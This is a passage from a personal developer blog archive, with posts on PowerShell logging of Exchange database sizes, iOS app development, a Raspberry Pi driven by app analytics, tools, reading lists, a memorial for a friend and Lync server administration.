        Get-MailboxDatabase -Status $db | select DatabaseSize | ForEach {
            $size = $_.DatabaseSize.ToGB()
            $query = "INSERT INTO ``sizes`` (``timestamp``, ``database_id``, ``size``) VALUES (DATE(NOW()),(SELECT id FROM ``databases`` WHERE db_name LIKE `'$db`'),$size)"
            Write-Host $query
            $Rows = WriteMySQLQuery $conn $query

    The WriteMySQLQuery at the end is just a function defined elsewhere that executes the MySQL query.

    After we upgraded to Exchange 2013, these scripts stopped working. I tried running the script manually so that I could see errors, and I saw a bunch of these:

    ForEach : Method invocation failed because [System.String] doesn't contain a method named 'ToGB'.
    At C:\exchangescripts\db_sizes.ps1:99 char:58
    +     Get-MailboxDatabase -Status $db | select DatabaseSize | ForEach {
    +                                                             ~~~~~~~~~
        + CategoryInfo          : InvalidOperation: (:) [ForEach-Object], RuntimeException
        + FullyQualifiedErrorId : MethodNotFound,Microsoft.PowerShell.Commands.ForEachObjectCommand

    I don't know the exact reason, or I at least can't find any documentation indicating that Microsoft changed anything. However, in my search for a solution, I found this forum post, which gave me the fix. I inserted these two lines at the top to load the Exchange Data dll:

    $dll = "C:\Program Files\Microsoft\Exchange Server\V15\Bin\Microsoft.Exchange.Data.dll"

    Then I used a ByteQuantifiedSize object to hold the DatabaseSize property, like so:

    [Microsoft.Exchange.Data.ByteQuantifiedSize]$obj = $db.DatabaseSize

    Working this concept into the original script above, it now looks like this:

    ForEach ($db in $arr) {
        Get-MailboxDatabase -Status $db | select DatabaseSize | ForEach {
            [Microsoft.Exchange.Data.ByteQuantifiedSize]$rawSize = $db.DatabaseSize
            $size += $rawSize.ToGB()
            $query = "INSERT INTO ``sizes`` (``timestamp``, ``database_id``, ``size``) VALUES (DATE(NOW()),(SELECT id FROM ``databases`` WHERE db_name LIKE `'$db`'),$size)"
            Write-Host $query
            $Rows = WriteMySQLQuery $conn $query

    This is how I got my data out of Exchange. I also set up a task in Task Schedular to run this every night. Over time this generates a nice bit of data that can be charted. Once I have a bunch of data, maybe I will come back and edit this post with some of those visulations.

  • How I Track Which WWDC Videos I've Watched

  • It's that time of year again, when Apple developers around the world get back home from WWDC (or are still at home and well-rested, like me) and start trying to soak up all they can from the session videos. I always have intentions of watching ALL THE VIDEOS, but inevitably I just catch the ones that are pertinent to what I'm doing. If you write iOS and Mac apps for a living, though, you probably watch more than me.

    One problem I have with the session videos is that sometimes I forget which ones I've actually watched, especially if I watch them sporadically. My solution to this is to create an Evernote checklist with all of the sessions listed and I check them off as I go. As stupidly simple as this sounds, it's very effective, so I thought I'd share my WWDC 2014 checklist. You can download the file below. Enjoy! And please send any suggestions for improvement.

    Update (2014-07-25): I've now created a similar Evernote file to track NSConf 6 and UIKonf 2014. I may also add one for Çingleton.

    WWDC 2014 Videos WWDC 2014 Evernote note file - just import it into Evernote
    NSConf 6 Videos NSConf 6 Evernote note file
    UIKonf 2014 Videos UIKonf 2014 Evernote file

  • Tools of the Trade - 2014 Edition

  • Toolchest Dock

    I've been running a side business for a little over a year now. The term "running" might be a stretch, because I released an app in June of 2012 and have just been issuing updates since then. Don't get me wrong - I haven't been just resting on my laurels. I try to stay up to date, and this means I have been building up an arsenal of tools. After being inspired by people like Justin Williams and Scott Hanselman, I thought I'd share my short but growing list here. It's more a record of the state of things, so I can revisit this and see how far I've come years from now.

    As I compiled this list, it's amazing just how many individual pieces there are. And I'm just a side-gig, small-time iOS developer. It's reassuring, though, to know that people are providing great software and services to meet our needs.

    Web Development and Hosting

    • Coda - Made by the fine folks over at Panic. It's kind of a swiss army knife, but I use it to upload files to my web server and whip up quick pages. It's the best general purpose web IDE in my opinion.
    • Digital Ocean - They provide me with a cheap SSD linux server in the cloud. It's only $5/mo, and it's way more than I need to host this blog and a few other sites.
    • App.io - I can run a simulated version of my app on my website. It's kinda magical, go try it out. I'm not sure if their business model scales, but it's fun for now.
    • Namecheap - I switched away from that other domain registrar last year, and haven't looked back. Namecheap does exactly what you need it to do.

    Web Services

    • Countly - I've been using Countly since I launched my app. I'm not even sure where I heard of them, but I know that I didn't want to use Google Analytics. Countly has worked out great, and I highly recommend them. Also, check out my post about integrating Countly with my Raspberry Pi.
    • Appfigures - Appfigures has a really nice UI for viewing your app sales and revenue. I must be grandfathered into a cheaper plan from last year, but it's still worth it. I also appreciate that they explicitly say "We never sell you private data".
    • App Annie - I have an App Annie account to monitor my App Store rankings, but I don't have it linked to my iTunes Connect account because their free pricing model scares me (see previous item about Appfigures never selling private data?).
    • Bitbucket - I keep my git repositories on Bitbucket. I'm small enough to fit into the free tier.
    • Backblaze - I'm still in my trial period, but I plan on subscribing. There's a certain amount of security in knowing my hard drive gets backed up to the cloud.
    • Freshbooks - Occasionally I need to invoice someone. Freshbooks does the job. There may be better options, but I don't invoice frequently enough for it to matter.
    • Tethras - I recently used Tethras to translate my app into Spanish, German, Chinese, and Japanese. You give them your strings files, they send you translated strings files. Works great.
    • NSScreencast - Weekly videos that teach different aspects of development.
    • AdMob - I'm not a huge fan of using Google's services for revenue, but they are the king of serving ads. I started using AdMob when I released the Android version of Easy Grade, and lately I updated the iOS version so that when iAds fail to load, AdMob fills the gaps.


    • Xcode, duh - Required for any iOS developer. It has come a long way since Xcode 3, but there's still room for progress. We'll see what WWDC 2014 brings us!
    • Kaleidoscope - A diff tool with a gorgeous interface. Black Pixel seems to care a lot about making this app amazing. I recommend buying direct from Black Pixel, since this app seems like it might suffer from serious sandboxing problems in the long run (just my opinion, I may be wrong about that). Kaleidoscope is also really handy at my day job with things like comparing configuration files.
    • Slender - This app helped me clean out a ton of cruft from Easy Grade before my last update. It points out which graphics don't have @2x assets, and it tells you which image assets aren't being used in the project so you'll know to delete them.


    • xScope - xScope is invaluable if you measure things on your screen. I also use it for aligning things on my screen, and for finding color values (in whatever format you need it).
    • Sketch - I designed my iOS 7 icon in Sketch. I'm no designer, but I think it turned out alright, and Sketch made it easy.
    • Acorn - Acorn is a great Photoshop alternative. A lot of Photoshop's concepts carry over straight into Acorn. I've hit a few roadblocks with not knowing how to accomplish a task, but I think that's more because my brain is wired into Photoshop. Luckily, Gus Mueller has a wealth of tutorials and guides on the website. It's only $30, so go get it. Trust me.


    • Soulver - I heard Marco rave about Soulver for years before I finally bought it. If you deal with numbers in any capacity, it's worth the cost.
    • OmniFocus - I just jumped on the OmniFocus bandwagon. I'm sure it's overkill for me, but I must say, I am much more organized now. I found myself forgetting some important tasks at my day job, and I realized the sticky notes weren't cutting it any more. Now I've got my life's tasks compartmentalized into OmniFocus. So while I still may not get to everything, I at least won't neglect a task due to forgetfulness. :-)
    • Transporter - Putting files on the public cloud brings with it many concerns. I wanted to keep my business and highly personal stuff on something other than Dropbox. I realize I back up my hard drive to Backblaze, but I feel like it's more secure than the Dropbox varieties of cloud storage. We'll see.
    • Alfred - I haven't fully embraced the full power of Alfred, but I find it's much better than Spotlight. I hear Launchbar is also pretty good, too.
    • 1Password - I couldn't manage my digital life without 1Password. It's a game changer. Now I don't have to remember all my passwords, and I have different passwords for almost every service I use.
    • Bartender - Bartender keeps the menubar icons under control on my 13-inch retina MacBook Pro. It's an essential tool on a laptop.
    • Numbers - I keep several business spreadsheets in Numbers, particularly my bookkeeping documents for the business. A lot of the trivial spreadsheet-y tasks have been migrated to Soulver, but I still need Numbers. Plus, it makes really pretty charts and graphs.

    Honorable Mentions

    • Sublime Text - This is more a tool for my day job. A text editor with multiple cursors and regex find and replace is awesome.
    • Reflector - Reflector is a cool tool, particularly if you need to remotely show someone what you are doing on your iPad/iPhone.
    • NetNewsWire/Reeder/ReedKit/Unread/Feedwrangler - There has been somewhat of a renaissance of RSS apps and services since Google shut down Google Reader last year. I use Feed Wrangler as my sync service to keep all of my computers/devices in sync. My ideal would be to use NetNewsWire on the Mac, but Black Pixel hasn't implemented sync yet. For now, I've been using a mixture of Reeder and ReadKit on the Mac, and Unread and Reeder on iOS.

  • Updates for Easy Grade

  • Last week I shipped an update to Easy Grade Free, my EZ Grader app in the iOS App Store. The actual changes in the app are minor (a new “iOS 7” icon and a slight color change, and a removal of the periodic nagging to rate the app. The bigger news might be that I have removed the paid version of the app from the App Store.

    Easy Grade’s original icon was great, but it was far too detailed to fit in with iOS 7. I knew it needed to be updated, but I didn’t particularly want to pay for a new design at the moment. I kept hearing people on Twitter talk about this app called Sketch, so I thought I would try my hand at redesigning my icon. You could certainly make the argument that it looks like a non-designer made the new icon. As they say, Don’t Ship Programmer Art. Knowing this, I designed what I had in mind and asked for several people’s opinions as I iterated on it. I kept it on my Home Screen for a few days, and I think it fits right in. Oh, and yes, Sketch is an amazing program.

    When I included the prompt to rate the app in Easy Grade Free, I didn’t particularly like the idea, but I told myself that this was the free version of the app, so let’s experiment. Then Gruber’s campaign happened, and while that alone didn’t convince me to remove it, it did help me make my decision. In the future, I hope to find a way to put an info screen with a button to rate the app, so that it’s a more user-driven action and so it never interrupts the user in the middle of a task.2

    The other part of my decision to remove the rating prompt is because I removed the paid version from the store, effectively making Easy Grade Free the premium product. It always bothered me that searching for EZ Grader in the iOS App Store would return two almost identical apps. I felt like this was confusing. The free version is, for obvious reasons, getting significantly more market reach. From my business’s perspective, it is also receiving significantly more revenue. So I decided to consolidate into a single, free, ad-supported app and remove “Free” from the app name.

    You’ll often see apps in the App Store that are free, but up-sell you with terrible In-App Purchases. This is mostly the case with games.3 I feel like Easy Grade offers a nice base level of functionality and is accessible to anyone with an iPhone (or Android) because it’s free. This will always be the case. And then, if for whatever reason a teacher needs to add the half points feature, they can spend $0.99 to upgrade. I feel like this is a fair compromise and benefits everyone.

    PS - Unrelated to this blog post, props to Ken Lasko for calling me out on his blog for not posting regularly enough. I try not to post just to post, but this gave me a little kick in the pants to write about recent happenings.

    1. <p>I’ve already got two reviews, with five ratings, which is hopeful.&#160;<a href="#fnref1:1" rev="footnote" class="footnote-backref">&#8617;</a></p>
    2. <p>I'm looking at you, Candy Crush Saga&#160;<a href="#fnref1:2" rev="footnote" class="footnote-backref">&#8617;</a></p>

  • Countly, Raspberry Pi, and Servos, Oh My!

  • piPlusCountly

    TL;DR - I got a Raspberry Pi to do cool things when people use my iOS app. Watch the video below.

    I can't even remember where I heard about Countly, but I signed up for my beta account with them on Oct 10, 2012, and probably shipped my app using their service shortly after that. One particularly cool feature (this isn't unique to Countly) is that I can track "events" that occur in my app. As I was developing the free version of Easy Grade, I wanted to know how many times users were prompted to buy, but did not buy, the In-App Purchase. So I made an event for this (as well as for how many ads are shown and how many times people actually do buy the In-App Purchase), and began obsessively watching that dashboard once the app was available in the App Store.

    EasyGradeFree Dahsboard

    As I stared at the dashboard for longer than I care to admit, I looked at my Arduino and thought it'd be cool to make fun things happen, such as raising a flag or flashing an LED, in response to these events that I had defined. I did a quick search and came across a post about ZipWhip, which raises a flag with an Arduino every time they get a new customer (http://blog.zipwhip.com/2012/02/22/zipwhip-new-user-sign-up-flag/). I wrote some code for the Arduino that pulls from Countly's servers and parses the resulting JSON file, but it proved to be quite a challenge. Maybe I'm just too much of a novice at writing code in Processing (Arduino's language), but it just seemed like more work than it was worth.

    Then a coworker got a Raspberry Pi, and I SSH'ed into it (with his permission, of course) and wrote a quick and dirty python script in about 15 minutes that did basically what I wanted, and I was sold. It's amazing how powerful a little tiny Ubuntu server can be! Oh, and Python makes it SUPER easy to parse JSON data. It was even pretty simple to get my servo spinning with the script, and after a bit of tweaking, I finally have something that is presentable. I've posted the code to GitHub here. It's still rough, so be kind! (and please offer suggestions for improvement)

    Right now, my code is pretty specific in its use case. I don't have any immediate plans to make it more generic, but who knows what will happen. For now, though, it pulls the count for specific Events that I have defined in Countly, and takes certain actions based on what events are incremented:

    Event Name: bannerViewDidLoadAd
    iAds are successfully loaded - currently no action, since this number pretty much is always increasing

    Event Name: clickedTheIAPCancelButton
    Someone is presented with my In-App Purchase dialog and declines it - the servo spins for a time that is relative to the number of times this Event happens

    Event Name: transactionComplete
    Someone actually purchases the In-App Purchase - the servo spins, like before, but the Raspberry Pi also plays a "chaching" sound file through the audio output.

    Here's a video of it actually working. Here it turns the flag and plays a sound, indicating that someone bought my In-App-Purchase:

  • Andrew

  • Andrew Millette grave

    I received a phone call 2 years ago in the middle of the night from our youth pastor. You know you're about to hear some bad news when your phone rings that late (or early, if you're like me and wake up at 5:15). I sleepily answered the call, and Matt proceeded to tell me that our friend was at the gym that night with his fiance, and he passed out, and had now passed on. He was 28 years old.

    I first met Andrew when he had asked about how to download our church's podcast from the website. I explained to him the ridiculous way he had to right-click the mp3 link and download the file. At that time, I remember thinking that he was a little awkward for some reason.

    Fast forward a little bit, and Atlanta had a major flood in 2009 (look it up, there are some YouTube videos of it), and Andrew's first floor apartment was flooded while he was away at work. Andrew called me that night and asked if he could stay with me for the next night or two, since I lived a couple miles away. I was hesitant at first, because I still didn't really know Andrew, but I felt like I should help him out.

    Over time, I realized that my impression that Andrew was awkward was really just my own awkwardness and insecurities. We ended up sharing rides to Bible study with each other, where we shared conversations about engagement rings, theology, soccer, eco-friendly cars, Mennonites, technology, the outdoors, video games, and many other things. What I came to learn about Andrew was that he was passionate about other people and passionate about his relationship with his Savior. He focused on others so much that it made him different from everyone. His full time job was at Good Will, where he counseled people who were getting back on their feet. He poured himself into our church's youth group as a small group leader and mentor. He had worked at a Christian camp most if not all of his summers in college. He loved his fiancé with every cell in his body. And that's just the tip of the iceberg.

    It turns out he died of an enlarged heart. As his obituary so aptly stated, this was a huge irony, because everyone who knew Andrew would say that he really did have a huge heart, figuratively. John Mark McMillan wrote a song called "How He Loves", and if you watch the back story about why he wrote it, you find out that John Mark's friend ended up leading several people to Christ at the cost of his life. Over time, I'm confident that the song has brought thousands more people to Christ. Watch that video here:

    I can't watch that video, or even sing the song in church without at least tearing up thinking about Andrew, because it loosely describes him. During his life, it's hard to quantify the impact he had, but he certainly made an impact on people. More notable, though, is that through his death, at least 4 or 5 more youth came to Christ. This is what I think about when I hear "How He Loves", and why I struggle to control my emotions.

    Another funny thing about that "How He Loves" song is that Nikole and I went to see the David Crowder Band, Gungor, John Mark McMillan, and Chris August last year. They all sang the song at the end of the show (David Crowder has most recently done a popular version of the song), and Michael Gungor looks a lot like Matt Miller, who lived with Andrew for the year before his death. It was a strange juxtaposition of beauty for me. Also, Matt wrote a heart-wrenching post about the night Andrew died. Matt also posted some great pictures here. One of those pictures is in their apartment just before heading out to our wedding, which always makes my soul smile. I will always remember Andrew as one of the greatest role models and friends anyone could have.

    We had the honor of visiting Andrew's grave in Harrisonburg, VA over the Christmas holidays on our way from Pennsylvania to South Carolina, thanks to Nikole getting the directions and surprising me with the idea as we left PA. We took the picture you see at the top of this post. That relatively small gravestone is so fitting, as Andrew always minimized himself and magnified others. I love you, man, and I look forward to reuniting with you.

    In closing, a few things that will always remind me of Andrew:

    • "button" pronounced with a hard "t"
    • AC Milan jersey (or Fly Emirates)
    • Honda Fit
    • car wax
    • scrapple
    • Mennonites
    • Turkey Hill

  • Books I Read in 2012

  • Last year, 2011, my goal was to read on average a book a month. In 2012, I didn't really set a goal, other than to just continue reading. It's been fun and educational. Here's the list.

    Steve Jobs by Walter Isaacson

    The Hunger Games by Suzanne Collins

    Catching Fire by Suzanne Collins

    Mockingjay by Suzanne Collins

    Why We Make Mistakes: How We Look Without Seeing, Forget Things in Seconds, and Are All Pretty Sure We Are Way Above Average by Joseph T. Hallinan

    xkcd: volume 0 by Randall Munroe

    A Million Miles in a Thousand Years: How I Learned to Live a Better Story by Donald Miller

    Out of the Silent Planet: (Space Trilogy, Book One) by C.S. Lewis

    Erasing Hell: What God Said about Eternity, and the Things We've Made Up by Francis Chan

    A Wrinkle in Time by Madeleine L'Engle

    Fresh Wind, Fresh Fire by Jim Cymbala

    A Wind in the Door by Madeleine L'Engle

    A Praying Life: Connecting with God in a Distracting World by Paul E. Miller

    I noticed a theme as I was typing these out. A lot of the "modern" books (written in the last decade) have titles in the Title:Subtitle format. Not a bad thing, just an observation.

    Which books did you read in the last year?

    Full disclosure: The links above are Amazon Affiliate links, which means I get a small percentage of money from sales made by clicking them. If you don't want to support that, go directly to Amazon/Google and search for the books.

  • Easy Grade - An EZ Grader for your iPhone

  • Icon-72@2x

    There I was, one evening, helping my wife grade papers. I only do the multiple choice questions and the strict short-answer ones. I needed to calculate grades to put on the top of the papers, and I needed a way to quickly calculate this number. Being the geek that I am, I made a quick Numbers spreadsheet (which is a simple, useful skill for anyone to learn, whether it be Numbers of Excel). I quickly ran into many papers on which my wife had given half credit for some questions, and since I had generated the spreadsheet for integral numbers, I had to keep adjusting it, which was the point where the app developer in me said "There's gotta be an app for this".

    Well, there is an app for this. In fact, there are many. But I noticed one particular feature missing from all of them: the ability to calculate grades where half-credit was given. Thus the idea for my app, Easy Grade, was born. Those cardboard EZ Graders also don't do half-points, are $7-$8, and you don't always have those with you, but you do always have your phone with you.

    While on the bus one day, I sketched out what I thought I wanted, and I came up with this: Sketches_blog

    I had recently done an app for the App Store, and this new app seemed like a simple enough idea, so I set about making it. My goal was to make it super simple to configure, with only one screen, and to make it sleek and attractive, setting it apart from pretty much all of the existing competition. I think I accomplished this. With a good bit of help from my wife about placement, size, and colors, and with the help of the nicely-designed glyphs from Glyphish, we came up with what you now see in the App Store. Here are some screenshots:

    Screen Shot 2012-04-10 at 1.27.29 PM Screen Shot 2012-04-10 at 1.27.16 PM

    In addition to the delight of designing and developing my own app, I had the opportunity to commission the app's icon design to the fine folks at Artifact. It took a 15-minute conversation with the art director to describe my idea. A couple of emails and a couple of weeks later I had the icon you see at the top of this post.

    I'm very happy with the outcome, and my hope is that the app is helping teachers around the country (and world) calculate their grades. I've got a few ideas for improvement, and I plan on developing an iPad-specific version. If you do grab it on the App Store, please leave a review to let me know what you think.

    <img src="http://paulbrown.us/resources/images/AppStoreBadge.png>

  • We Built a Shed

  • Over the July 4th week, and then some, Nikole and I both had our parents down to help us build a 16x12 shed in our backyard. The goal was to add some much-needed storage to this house, provide us with some workshop-like space, and to have good family time. Overall, I think it was a success.

    I shot a timelapse video from inside the house through the window. I don't think my old MacBook Pro, or any computer, would've handled the high 90's temperatures we had all week. It might be a little blurry, and isn't the greatest angle, but I still think it's pretty awesome. Here's the final video:

    The final product: finished shed

    In the last 4 weeks, our yard has been transformed. Our aunt/uncle came down from Illinois to deliver their wedding gift (the swing), and some friends came and put in the raised beds (also a wedding gift): backyard

    For the more curious: The video was shot using an app called Gawker, which is super-simple to use, and my old iSight camera (you know, from back when computers didn't have built-in iSight cameras). The shed plan that we used was found here on Amazon. They were good plans and we got what we wanted out of them, but there were riddled with typos.

  • One Mand Band at Boston Common

  • I gave this guy a dollar. Probably should've given him $5.

    (video shot on June 19th, 2011)

    Note: Sorry for the Vertical Video Syndrome

  • Advice on Learning

  • Joe Conway (Big Nerd Ranch):

    I ask mentors how to solve problems, but only after I’ve tried every solution I can think of. Exhausting my knowledge before asking a question serves two purposes: I don’t waste their time with frivolous or ambiguous questions and I now know all of the wrong ways to solve the problem. Knowing all of the wrong ways to solve a problem is just as important as knowing the right way, by the way.

    However, I don’t accept everything I learn without challenging it. However, how I challenge it is important. Sometimes, a mentor will say something and I will think, “That can’t be right, because A, B and C.” Instead of arguing with my A, B and C arsenal, I try to find out if there is a D that I don’t know about. When there is a D, I have successfully avoided looking like a jerk and I have learned something new. When there isn’t a D, both the mentor and I have learned something.

    The final piece of learning is simply experimentation. I try some stuff. Sometimes it’s trivial, sometimes it is ambitious. I know that for every line of code I write in this new platform, I’m going to have to rewrite it three times; then I forget that fact because it is makes me want to go back to the warm embrace of Xcode. I share what I’ve done. I write about it. I read about it.

    I don't really have much to say here because the post speaks for itself. These are fundamentals that I try to live most of my life by, and I think everyone could benefit by at least trying them out.

    However, Joe does mention at the end of his post that he thinks watching videos is not an effective way to learn because they become outdated. I think this is somewhat true, but I would argue that if I need to learn about a specific programming topic, watching current and older WWDC videos will certainly help. At some point, though, actually experimenting and failing and working through problems is where the bulk of learning happens.

    And this applies to so much more than just programming.

  • Calendar App Design

  • Over the past year or so, I've slowly been developing a calendar app for work that pulls data from an Exchange calendar and displays a custom view of that calendar. We have mounted more than 20 iPads outside of conference rooms so that when someone wants to know what that room's upcoming schedule is, they can simply tap around on the iPad and see all of the events.

    At this point, I have most of the functionality that I want in the app (of course we will think of more to add later), but design was not my focus. Here is the app's design as of a few weeks ago: IMG_0001

    As you can see, it's kind of bland. I knew I needed to polish it up a little bit, but I also am very aware of the fact that I'm not a graphic designer. However, I came across this post by Tope Abayomi on Ray Wenderlich's most excellent iOS tutorial site about making a leather nav bar. I tooks those principles and made some pretty major improvements, I think, to the app. Then I added a few more things like the real-time time slider and rounded corners on the events. If you're a designer, or even a non-designer, and you have more ideas for improvement, let me know.


  • WWDC 2012 Wishlist/Predictions

  • Apple WWDC 2012

    I've come a long way this past year in developing my skills as an iOS developer. I've released one app to the App Store that I did as a contract job, and I've got another one ready to go but I'm waiting on an icon to be designed. I've also built a calendaring app at work to view shared Exchange calendars for our conference rooms.

    Anyway, I digress. Tomorrow, the fine folks at Apple will stand on stage and announce the first details about iOS 6, among some other things. I don't have any grand vision for where iOS and Mountain Lion will go (I think it's pretty good as it is), but here are some minor tweaks I'd love to see:

    iOS 6

    • When I'm texting a person and I change my mind and want to call them, I should be able to easily call the person, perhaps by just touching their name and selecting "Call" from an AlertView.
    • Shared iCloud Photo Stream capability. My wife and I both have our own iCloud account, and it would be nice to be able to "subscribe" to her Photo Stream, and vice versa, so we each have all of each other's photos.


    • Web-based galleries, publishable and editable via Photo Stream. If I just shot some photos and want to make a gallery, I have to upload them to Flickr, or somehow save them from my iPhone to another web service. iCloud already does Photo Stream, which means the data is in the cloud. There should be a simple interface to "publish" a set of photos to a gallery on icloud.com and share it, all from iOS.

    iPhone 5

    • New MagSafe plug. The huge iPhone charging cable needs to be shrunk down. MagSafe has been an awesome improvement over "normal" cables, and Apple can do the same thing for iPhones/iPads. Also, like Mac MagSafe connectors, it needs to be bi-directional. New cable connector standards that only go in one way should be outlawed.

    New Hardware

    • It's time we see new Mac Pro's (this is a developer conference), as Marco pointed out. And maybe we'll even see a body redesign?
    • It's time to switch the entire laptop line into Air models, and just call it one name (I'd be fine with MacBook Air being the unified name). The choice really should just be between 11", 13" or 15", and hopefully we'll see larger SSD capacities.

    Apple TV

    • I have no idea what to think about the Apple TV rumors. I could see them opening up the platform for serious development with a new Apple TV SDK, but I'm not sure what kinds of apps I really want on my TV. I do think there is a lot of room to grow with AirPlay technologies.

    That's all I've got. Nothing revolutionary, but I hope to be wowed by something truly new and remarkable tomorrow, not just evolutionary updates to everything.

  • [NSDateFormatter _regenerateFormatter] Leak

  • I have been writing an app at work for some time now that shows an Exchange Calendar's events for specified conference rooms. I use a handful of NSDateFormatters to pull this off. The app refreshes the onscreen events every 10 minutes, and when it does so, it calls a few functions that calculate various times, like the beginning and end of the week and converting NSDate objects to custom formatted strings. When I was originally writing the code, I was just learning how to use the NSDateFormatter class, and I was instantiating a new date formatter every time the functions were called. Before you experienced programmers laugh at me, I should say that I'm still learning, plus this project uses ARC, so I wasn't able to just throw a release statement in there like I did in pre-ARC days. That said, I wouldn't go back to pre-ARC days for anything.

    Since I implemented my date formatters incorrectly, the number of data formatters in my app increased steadily until the iPad ran out of memory and crashed. At this point I ran my app through Instruments and found what you see in this screenshot:


    As you can see in the Responsible Frame column, there are a ton of -[NSDateFormatter _regenerateFormatter] messages. This was a simple fix. I defined an NSDateFormatter variable in my header and then instantiated it in my viewDidLoad method. Then when I need to use it, I just call setDateFormat on it to make sure the format is correct. The result: no leaks! At least no regenerateFormatter leaks:


    Yes, I have other leaks, but I'll tackle those later. The goal is obviously 100% leak-free code, but as far as memory consumption goes, I eliminated probably more than 90% of the memory leaks. I hope this helps someone, since my Google search for regenerateFormatter didn't yield much useful information.

  • You Can Learn Anything (Video Link)

  • Learning is one of the mantras of my life, and I've talked about it on this blog before here and here. You can learn anything if you really want to. Today I came across this short video, which continues the theme.

    LEARN from Rick Mereki on Vimeo.

  • On My iPad

  • Fraser Spiers, the god of iPad in Education, wrote a great post about the amazing apps out there on iOS and how he's using his Mac less and less. I wouldn't go so far as to say I'm using my Mac less, but his collection of iPad apps intrigues me. And my recent discovery/use of many apps seems to mirror Fraser's:

    Flipboard: I loaded Flipboard for the first time about 2 months ago after watching the Stanford CS193P lecture with the creators of it. It's an amazing way to browse content from Facebook and Twitter. But more importantly, Flipboard curates great content that I would've never found.

    Kindle: I've been reading more lately, and Kindle is the platform to read digital books on. The fact that I can read a book on my iPad, Kindle Keyboard (recently acquired - that's another story), or Kindle Cloud Reader and keep everything in sync is awesome. I thought I would enjoy reading on the actual Kindle hardware more than I do, but I've found that the iPad is by far the best reader (in my situation)

    Instapaper: I've been listening to Build & Analyze with Marco Arment for probably a year now, but I finally bought Instapaper a few months ago. I don't use it as much as I should, and I'm well aware of this. Right now I am in the middle of reading Steve Jobs on the Kindle, though, so that's taking most of my reading time.

    OmniFocus: Everyone raves about OmniFocus. Is it really that good?

    Dropbox: Fraser says his "life is in Dropbox". I'm not there yet, but Dropbox has revolutionized the way I work, particularly with grad school work and iOS Development. I wish I had had Dropbox in college. If you don't use Dropbox, you're missing out.

    iA Writer: Another app I hear/read about all the time. Might have to check it out.


    Apps on my home screen that Fraser didn't mention:

    Plants vs. Zombies: the greatest game ever made for iOS. It'll be hard to beat.

    500px: Awesome photographs.

    FaceTime: Made Christmas morning special, being able to video chat with almost all of my family, even though we were all in different states. Yes, iChat can do the same, but the more mobile experience of the iPad made it so much better.

    Mr. Reader: I should probably swap this out with Reeder, but Mr. Reader is good.


    Finally, here's a screenshot of my iPad home screen. I am in the process of rearranging my apps, and I'm getting close. The use of Folders on the dock is a clever idea I stole from someone. Also, several of my home screen apps are there because I'm temporarily interested in them. Scribblenauts, Lync, and iTunes U are examples of that. (And yes, I need a new background. That one was great for the Christmas season.)


  • Caption Please: iPad Camera

  • When we were in New York City back in November, we went up to the 86th floor observatory of the Empire State Building. We were 320 meters high. And we saw this guy. I had to get a picture of him, and I didn't care if he saw me, because this is priceless.


    Caption Please.

  • Books I Read in 2011

  • One of my 2011 goals was to read at least one book every month. Audiobooks (denoted with a *) qualified as "reading", and since I was commuting a long way in my car for much of the year, I read a lot of books this way. I managed to pull off reading an average of a book a month, and I hope to read just as much or more in 2012. Here's the list of books I read:

    Digital Fortress* by Dan Brown

    The Cross and the Switchblade by David Wilkerson

    The Girl With the Dragon Tattoo* by Stieg Larsson

    A Scanner Darkly* by Philip K. Dick

    The Girl Who Played With Fire* by Stieg Larsson

    The Girl Who Kicked the Hornet's Nest* by Stieg Larsson

    Sun Stand Still* by Steven Furtick

    The Immortal Life of Henrietta Lacks* by Rebecca Skloot

    Blue Like Jazz by Donald Miller

    Radical by David Platt

    Heaven is For Real* by Todd Burpo

    Son of Hamas by Mosab Hassan Yousef

    Which books did you read in the last year?

    Full disclosure: The links above are Amazon Affiliate links, which means I get a small percentage of money from sales made by clicking them. If you don't want to support that, go directly to Amazon/Google and search for the books.

  • Will With Trains

  • Over the Christmas holiday, I had the chance to take some photos of my adorable nephew really enjoying himself playing with his Thomas the Train set. Later that day, I set up my HO scale electric train, and he went crazy over it, thus giving me another great photo op. These pictures are shot with my Canon Rebel XTi with the nifty fifty lens. Enjoy!
















  • Achievement Unlocked: Read the Bible Through in 2011

  • achievement

    Last year I wrote about some goals that I had for 2011. While I didn't achieve all of them, I did finished reading the Bible through this morning. I am proud of this, but I don't say it to boast about what I've done. I just want to share some of the things I learned through the process and where I went wrong.

    There are countless reading plans to guide you through the Bible in whatever timeframe you want. One of the teaching pastors at my church is the president of Walk Thru the Bible, so I chose to go with their monthly periodical called Daily Walk.


    This little monthly guide has a page for each day's reading, explaining what's going on in the story and providing some life application. The small "digest" format makes it really easy to carry around and works great if you use various Bibles (I mainly used my NASB copy and the YouVersion app on my iPad/iPhone). The other format that Walk Thru offers is the Daily Walk Bible:


    The one disadvantage to this format is that it is an entire Bible, with similar commentary to the magazine, so the dates might not match up in subsequent years (Saturdays and Sundays are typically paired up). That said, I think the content is better, and there are extra days of reflection thrown in. So, if carrying around a heavier Bible with slightly skewed dates doesn't bother you, I recommend the full Bible. Plus, the magazine costs $10 more.

    Reading the Bible through in a year is a great exercise in discipline. I got behind many times and had to catch up, and several times it really did feel like a chore. I have developed somewhat of a habit of reading the scriptures, though, which is good. Next year, I either want to read through the New Testament throughout the year (thus taking a slower pace and digging deeper), or I want to do a separate devotional.

    I definitely don't claim to truly know the scriptures at this point, since there's so much to digest. What this exercise did for me, though, was to reinforce the stories that I did already know. On many occasions we would hear sermons at church about a story I had recently read (or vice versa), and I had a better grasp on it as I listened to my pastor teach. So I recommend reading it through at some point in your life, or at the very least, make an attempt to read the Bible more regularly and apply it so that we can represent Christ to the world.

  • How to Change Lync Server File Store Location

  • I recently had to move our Lync Server 2010 File Store to another server, and I ran into problems. We had it on the SQL server that was running our Lync databases. That wasn't particularly a problem, but we noticed sometimes there was a delay when people would dial into a conference. It would take 1 or 2 minutes to admit a dial-in participant into a meeting. My guess is that it was because we have McAfee VirusScan running on that SQL server (as all servers should have some virus protection). This very helpful post pointed me in that direction.  It could also have been something with SQL interfering with the file share, but I doubt it. Sometimes rebooting the server with the File Store on it helped, but this was only a temporary fix. And you really don't want to go rebooting SQL servers, especially during business hours, and when they run databases for other services.

    Anyway, so I followed the TechNet instructions (found here) and moved my File Store to a server not running virus scan software. Doug Deitterick's blog post was even more helpful in this process, since he includes important steps that Microsoft'd docs left out. However, either my server is more stubborn than everyone else's, or these great articles left out an important step.

    Moving the File Store to another server fixed the dial-in conferencing delay issue, which was great. But I noticed later that when I shared a PowerPoint presentation or uploaded a file attachment to a meeting, no other users could download the file. For PowerPoint files, the non-presenters using the Lync client would see this message:

